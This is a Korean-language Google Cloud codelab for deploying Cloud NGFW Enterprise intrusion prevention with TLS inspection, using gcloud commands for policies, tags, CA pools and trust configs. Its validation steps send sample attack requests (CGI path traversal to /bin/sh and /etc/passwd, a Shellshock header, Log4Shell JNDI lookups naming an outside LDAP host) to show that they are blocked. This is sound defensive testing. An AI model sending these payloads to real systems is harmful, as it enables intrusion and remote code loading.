Cloud NGFW Enterprise Codelab[TLS 검사 포함]

1. 소개

Cloud 차세대 방화벽 (NGFW)

Cloud Next Generation Firewall은 고급 보호 기능, 마이크로 세분화, 광범위한 적용 범위를 갖춘 완전 분산형 방화벽 서비스로, 내부 및 외부 공격으로부터 Google Cloud 워크로드를 보호합니다.

Cloud NGFW의 이점은 다음과 같습니다.

  • 분산형 방화벽 서비스: Cloud NGFW는 각 워크로드에 스테이트풀(Stateful) 완전 분산형 호스트 기반 시행을 제공하여 제로 트러스트 보안 아키텍처를 사용 설정합니다.
  • 구성 및 배포 간소화: Cloud NGFW는 리소스 계층 구조 노드에 연결할 수 있는 네트워크 및 계층식 방화벽 정책을 구현합니다. 이러한 정책은 Google Cloud 리소스 계층 구조에서 일관된 방화벽 환경을 제공합니다.
  • 세밀한 제어 및 마이크로 세분화: 방화벽 정책과 Identity and Access Management (IAM)에서 관리하는 태그를 함께 사용하면 VPC (Virtual Private Cloud) 네트워크 및 조직 전체에서 단일 VM까지 North-South 트래픽과 East-West 트래픽에 대한 세밀한 제어를 수행할 수 있습니다.

Cloud NGFW는 다음 등급으로 제공됩니다.

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise는 분산된 Google Cloud Firewall 패브릭에 레이어 7 기능인 침입 방지 서비스 (IPS)를 추가합니다. TLS 암호화 트래픽을 검사할 수 있도록 TLS 검사가 지원됩니다.

이제 네트워크 아키텍처 또는 라우팅 구성을 변경하지 않고도 세분화된 제어 기능을 갖춘 안정적인 레이어 7 차세대 방화벽 (NGFW) 검사를 배포할 수 있습니다.

IPS를 사용하여 레이어 7 방화벽 제어를 활성화하고 배포하려면 다음 작업을 실행해야 합니다.

  • Google Cloud 관리 영역 방화벽 엔드포인트 집합을 만듭니다.
  • 원하는 경우 TLS 검사 정책을 만듭니다.
  • 원하는 경우 트러스트 구성을 만듭니다.
  • Cloud NGFW Enterprise 서비스가 필요한 Virtual Private Cloud (VPC) 네트워크와 이러한 엔드포인트를 연결합니다.
  • 기존 방화벽 정책 및 방화벽 규칙을 간단히 변경하여 다양한 트래픽 경로의 위협 방지 프로필을 지정합니다.

네트워크 방화벽 정책

네트워크 방화벽 정책은 방화벽 규칙의 컨테이너 역할을 합니다. 네트워크 방화벽 정책에 정의된 규칙은 정책이 VPC 네트워크와 연결될 때까지 어디서나 적용되지 않습니다. 각 VPC 네트워크에는 하나의 네트워크 방화벽 정책이 연결될 수 있습니다. 네트워크 방화벽 정책은 방화벽 규칙에서 IAM 제어 태그 (또는 태그)를 지원합니다. 이 태그는 현재 네트워크 태그를 대체하며 워크로드에 ID를 제공하는 데 사용할 수 있습니다.

네트워크 간에 네트워크 방화벽 정책을 공유하고 IAM 적용 태그와 통합하면 방화벽의 구성과 관리가 크게 간소화됩니다.

네트워크 방화벽 정책이 도입됨에 따라 Google Cloud의 방화벽 정책은 이제 다음 구성요소로 구성됩니다.

  1. 계층식 방화벽 정책
  2. VPC 방화벽 규칙
  3. 네트워크 방화벽 정책 ( 전역지역)

계층식 방화벽 정책은 리소스 계층 구조 내의 조직 및 폴더 노드에서 지원되지만 VPC 방화벽 규칙 및 네트워크 방화벽 정책은 VPC 수준에서 적용됩니다. VPC 방화벽 규칙과 네트워크 방화벽 정책의 큰 차이점은 VPC 방화벽 규칙은 단일 VPC 네트워크에만 적용할 수 있는 반면 네트워크 방화벽 정책은 일괄 업데이트와 같은 다른 이점 외에도 단일 VPC 또는 VPC 그룹에 연결할 수 있다는 점입니다.

마지막으로 모든 VPC 네트워크에 포함된 묵시적인 방화벽 규칙도 있습니다.

  • 작업이 허용, 대상이 0.0.0.0/0인 이그레스 규칙
  • 작업이 deny이고 소스가 0.0.0.0/0인 인그레스 규칙

기본적으로 시정 조치 시퀀스는 다음 다이어그램에 표시됩니다.

21b3bcabc469ffe.png

VPC 방화벽 규칙과 전역 네트워크 방화벽 정책 간의 적용 순서는 전환할 수 있습니다. 고객은 언제든지 gcloud 명령어를 사용하여 시정 조치 순서를 지정할 수 있습니다.

태그

새로운 네트워크 방화벽 정책 규칙에 통합된 태그는 Google Cloud 리소스 계층 구조의 조직 또는 프로젝트 수준에서 정의된 키-값 쌍 리소스입니다. 이러한 태그에는 태그에서 어떤 작업을 할 수 있는 사용자를 지정하는 IAM 액세스 제어가 포함됩니다. 예를 들어 Identity and Access Management (IAM) 권한을 사용하면 태그에 값을 할당할 수 있는 주 구성원과 리소스에 태그를 연결할 수 있는 주 구성원을 지정할 수 있습니다. 네트워크 방화벽 규칙이 태그를 참조하는 경우 시행을 위해 리소스에 적용되어야 합니다.

태그는 Google Cloud의 상속 리소스 모델을 따릅니다. 즉, 태그와 그 값은 상위 요소에서 계층 구조 전체로 전달됩니다. 따라서 태그를 한곳에서 만든 후 리소스 계층 구조 전반의 다른 폴더와 프로젝트에서 사용할 수 있습니다. 태그 및 액세스 제한에 관한 자세한 내용은 이 페이지를 참고하세요.

태그는 네트워크 태그와 혼동해서는 안 됩니다. 후자는 Compute Engine 인스턴스에 추가할 수 있는 문자열입니다. 인스턴스와 연결되며 인스턴스가 지원 중단되면 사라집니다. VPC 방화벽 규칙에는 네트워크 태그가 포함될 수 있지만 클라우드 리소스로 간주되지 않으므로 IAM 액세스 제어가 적용되지 않습니다.

이 문서에서는 태그와 IAM 관리 태그를 서로 바꿔서 사용합니다.

빌드할 항목

이 Codelab을 사용하려면 단일 프로젝트와 VPC 네트워크를 만들고 여러 네트워크 및 보안 리소스를 관리할 수 있는 기능이 필요합니다. Cloud NGFW Enterprise가 다음과 같은 방법으로 IPS 기능을 제공하는 방법을 보여줍니다.

  • TLS 검사를 사용하여 북방 인터넷 흐름 검사
  • TLS 검사를 사용하여 VPC 내 흐름[East-West] 검사

검사할 흐름은 5튜플 (소스 IP, 대상 IP, 프로토콜, 소스 포트, 대상 포트) 및 태그를 비롯한 Cloud Firewall 일치 매개변수를 사용하여 선택됩니다.

3d0f288d3b92a295.png

네트워크 방화벽 정책 규칙베이스의 최종 상태는 아래 표와 유사합니다.

우선순위

방향

대상

소스

대상 위치

작업

유형

100

인그레스

Server_Tag

Health-Checks

모두

허용

Essentials

200

인그레스

Client_Tag, Server_Tag

IAP

모두

허용

Essentials

800

인그레스

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 검사

Enterprise

850

이그레스

Client_Tag

모두

10.0.0.0/24

허용

Essentials

900

이그레스

Client_Tag

모두

모두

L7 검사

Enterprise

학습할 내용

  • 네트워크 방화벽 정책을 만드는 방법
  • 네트워크 방화벽 정책으로 태그를 만들고 사용하는 방법
  • TLS 검사를 사용한 Cloud NGFW Enterprise를 구성하고 사용하는 방법

필요한 항목

  • Google Cloud 프로젝트입니다.
  • 인스턴스 배포 및 네트워킹 구성요소 구성에 관한 지식
  • VPC 방화벽 구성 지식

2. 시작하기 전에

변수 만들기/업데이트

이 Codelab에서는 $variables를 사용하여 Cloud Shell에서 gcloud 구성을 구현합니다.

Cloud Shell에서 아래 명령어를 실행하고 필요한 경우 대괄호 안의 정보를 바꿉니다.

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API 사용 설정

아직 API를 사용 설정하지 않았다면 다음 단계를 따르세요.

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 엔드포인트 생성

Cloud NGFW Enterprise 엔드포인트 생성에는 약 20분이 소요되므로 먼저 엔드포인트가 생성되고 엔드포인트가 생성되는 동안 기본 설정을 동시에 진행할 수 있습니다.

보안 프로필 및 보안 프로필 그룹을 만듭니다.

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

예상 출력:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

리소스가 성공적으로 생성되었는지 확인합니다.

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

예상 출력 (사용 중인 클라이언트에 따라 출력 형식이 다를 수 있음):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise 엔드포인트를 만듭니다.

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

아래 명령어를 실행하여 엔드포인트가 생성되고 있는지 확인합니다 (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

예상 출력 (사용 중인 클라이언트에 따라 출력 형식이 다를 수 있음):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

원하는 경우 아래 명령어를 실행하여 자세한 내용을 확인합니다.

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

예상 출력:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

생성 프로세스는 약 20분 정도 걸립니다. 기본 설정 섹션으로 이동하여 필요한 리소스를 동시에 만듭니다.

5. 기본 설정

VPC 네트워크 및 서브넷

VPC 네트워크 및 서브넷

VPC 네트워크 및 서브넷을 만듭니다.

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router 및 Cloud NAT 게이트웨이를 만듭니다.

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

인스턴스

클라이언트 및 웹 서버 인스턴스를 만듭니다.

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

프로젝트 수준 태그

필요한 경우 사용자에게 tagAdmin 권한을 할당합니다.

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

프로젝트 수준 태그 키 및 값을 만듭니다.

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

인스턴스에 태그를 바인딩합니다.

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

전역 네트워크 방화벽 정책

전역 네트워크 방화벽 정책을 만듭니다.

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

상태 점검Identity-Aware Proxy 범위의 트래픽을 허용하는 필수 Cloud Firewall Essential 규칙을 만듭니다.

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

특정 범위에서 동서향/하위 서브넷 내 인그레스 트래픽을 허용하는 데 필요한 Cloud Firewall 규칙을 만듭니다. 이 규칙은 TLS 검사를 사용 설정하도록 Cloud NGFW Enterprise를 사용 설정하도록 업데이트됩니다.

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

클라우드 방화벽 정책을 VPC 네트워크에 연결합니다.

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall Endpoint Association

아직 환경 변수를 정의하지 않았거나 스크립트 접근 방식을 선호하는 경우 환경 변수를 정의합니다.

Cloud Firewall Endpoint 생성이 완료되었는지 확인합니다. 상태가 활성으로 표시된 후에만 진행합니다 (생성 중에는 예상 상태가 생성 중임).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

예상 출력 (사용 중인 클라이언트에 따라 출력 형식이 다를 수 있음):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

원하는 경우 아래 명령어를 실행하여 자세한 내용을 확인합니다.

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

예상 출력:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Cloud Firewall 엔드포인트를 VPC 네트워크에 연결합니다.

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

연결 프로세스는 약 10분 정도 소요됩니다. 상태가 활성으로 표시된 후에만 TLS 섹션으로 진행합니다 (생성 중에는 예상 상태가 생성 중임).

gcloud network-security firewall-endpoint-associations list

완료 시 예상 출력:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

원하는 경우 아래 명령어를 실행하여 자세한 내용을 확인합니다.

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

예상 출력:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS 리소스 구성

CA 풀을 만듭니다. 이 리소스는 NGFW Enterprise용으로 생성된 루트 CA 인증서를 보관하는 데 사용됩니다.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

루트 CA를 만듭니다. NGFW Enterprise를 통한 요청에 대한 추가 인증서에 서명하는 데 사용되는 CA 인증서입니다.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

아래 메시지가 표시되면 y를 입력합니다.

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

서비스 계정을 만듭니다. 이 서비스 계정은 NGFW Enterprise의 인증서를 요청하는 데 사용됩니다.

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

서비스 계정의 IAM 권한을 설정합니다.

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS 정책 YAML 파일을 만듭니다. 이 파일에는 다음과 같은 특정 리소스에 관한 정보가 포함됩니다.

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS 검사 정책을 가져옵니다.

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS를 사용 설정하도록 엔드포인트 연결을 업데이트합니다.

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA 인증서를 가져와 클라이언트의 CA 저장소에 추가합니다.

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA 인증서를 클라이언트로 전송합니다.

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM에 SSH로 연결하고 CA 인증서를 /usr/local/share/ca-certificates로 이동한 다음 CA 저장소를 업데이트합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Cloud Shell로 다시 종료합니다.

서버 인증서 서명 프로세스:

Cloud Shell에서 pip 명령어를 사용하여 Pyca 암호화 라이브러리를 설치합니다.

pip install --user "cryptography>=2.2.0"

Google Cloud SDK가 Pyca 암호화 라이브러리를 사용하도록 허용하려면 사이트 패키지를 사용 설정해야 합니다.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

서버 인증서 만들기:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

이렇게 하면 cloudshell에 cert.pem 및 key.pem 파일이 생성됩니다. 그런 다음 서버로 인증서와 키를 전송합니다.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

서버에 SSH로 연결하여 Apache의 인증서 세부정보를 업데이트합니다.

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

인증서와 키를 특정 폴더로 이동합니다.

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

서명된 인증서를 사용하도록 ssl 구성을 업데이트합니다.

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache를 다시 시작합니다.

sudo systemctl restart apache2

Apache 상태를 확인합니다.

sudo systemctl status apache2

활성 상태 (실행 중)여야 합니다.

VM을 종료하고 Cloud Shell에서 계속 진행합니다.

8. 업스트림 및 동서 연결 유효성 검사

Cloud Shell에서 아래 명령어를 실행하고 사용할 대상 IP를 기록해 둡니다.

gcloud compute instances list --filter="name=($prefix-$zone-www)"

새 탭을 열고 IAP를 통해 클라이언트 VM에 대한 SSH 연결을 시작합니다 (새 탭에서 변수를 정의해야 함).

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

아래 명령어를 실행하고 사용할 대상 IP를 기록해 둡니다. 대괄호 안의 값을 이전 단계에서 기록한 IP로 바꾸는 변수를 만들고 이러한 IP에 연결할 수 있는지 확인합니다.

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

비공개 IP를 Curl하고 연결할 수 있는지 확인합니다.

curl https://$target_privateip --max-time 2

curl 요청의 예상 결과는 다음과 같습니다.

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

IP에 샘플 공격을 전송합니다. 웹 서버는 모든 요청에 응답하여 L7 검사/방지가 적용되지 않았음을 확인해야 합니다.

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

예상 결과 샘플 (비공개 IP):

400
404
400
200
200

마찬가지로 인터넷 대상에 요청을 보냅니다.

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

예상되는 결과 샘플 (인터넷 대상):

400
404
400
403
403

VM 터미널을 종료하고 Cloud Shell로 돌아갑니다.

9. TLS 검사를 위한 방화벽 규칙 만들기 및 업데이트

이전에는 내부 서브넷에서 서버로의 인그레스 트래픽을 허용하도록 방화벽 규칙을 구성했습니다. 이제 기존 인그레스 규칙을 업데이트하고 작업을 apply_security_profile_group으로 설정합니다. 이렇게 하면 TLS를 사용하여 E/W L7 검사가 사용 설정됩니다.

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS로 업스트림 L7 검사를 검사하는 새 규칙을 만듭니다.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

이중 검사를 방지하기 위해 E/W의 EGRESS를 허용하는 새 규칙을 만듭니다.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. 업스트림 TLS 검사 유효성 검사

클라이언트 VM 탭으로 다시 전환하거나 다시 연결합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

샘플 공격을 인터넷 대상에 전송합니다.

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

아래의 예상 출력과 같이 응답이 수신되지 않으므로 샘플 공격이 차단되고 있는 것을 확인할 수 있습니다.

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

변수를 이전의 서버 IP로 설정합니다.

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

서버에 샘플 TLS 요청을 전송합니다.

curl https://$target_privateip --max-time 2

예상 출력:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

요청이 실패한 이유는 무엇인가요? 방화벽이 신뢰할 수 없는 서버에서 인증서를 수신하기 때문입니다. 이 경우 자체 서명된 인증서를 클라이언트에게 다시 전달합니다. 신뢰를 사용 설정하려면 트러스트 구성의 일부로 CA 인증서를 추가해야 합니다.

Cloud Shell로 돌아갑니다.

11. 트러스트 구성 구성

루트 CA 인증서를 가져와 적절한 형식으로 변수로 설정합니다.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

트러스트 구성 YAML 파일을 구성합니다. 이 파일에는 CA 인증서와 같은 신뢰 세부정보가 포함되어 있습니다.

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

서버 인증서가 루트 CA를 사용하여 서명되었으므로 위 명령어에는 루트 CA 인증서가 트러스트 저장소의 일부로 포함되었습니다. 즉, 방화벽은 TLS 정책에서 excludePublicCaSet을 false로 설정한 경우 공개 CA 외에도 루트 CA에서 서명한 수신한 모든 인증서를 신뢰합니다.

신뢰 구성의 콘텐츠를 확인합니다.

cat trust_config.yaml 

결과 예시:

인증서의 들여쓰기 정렬에 세심한 주의를 기울입니다. 이 형식을 정확하게 따라야 합니다.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
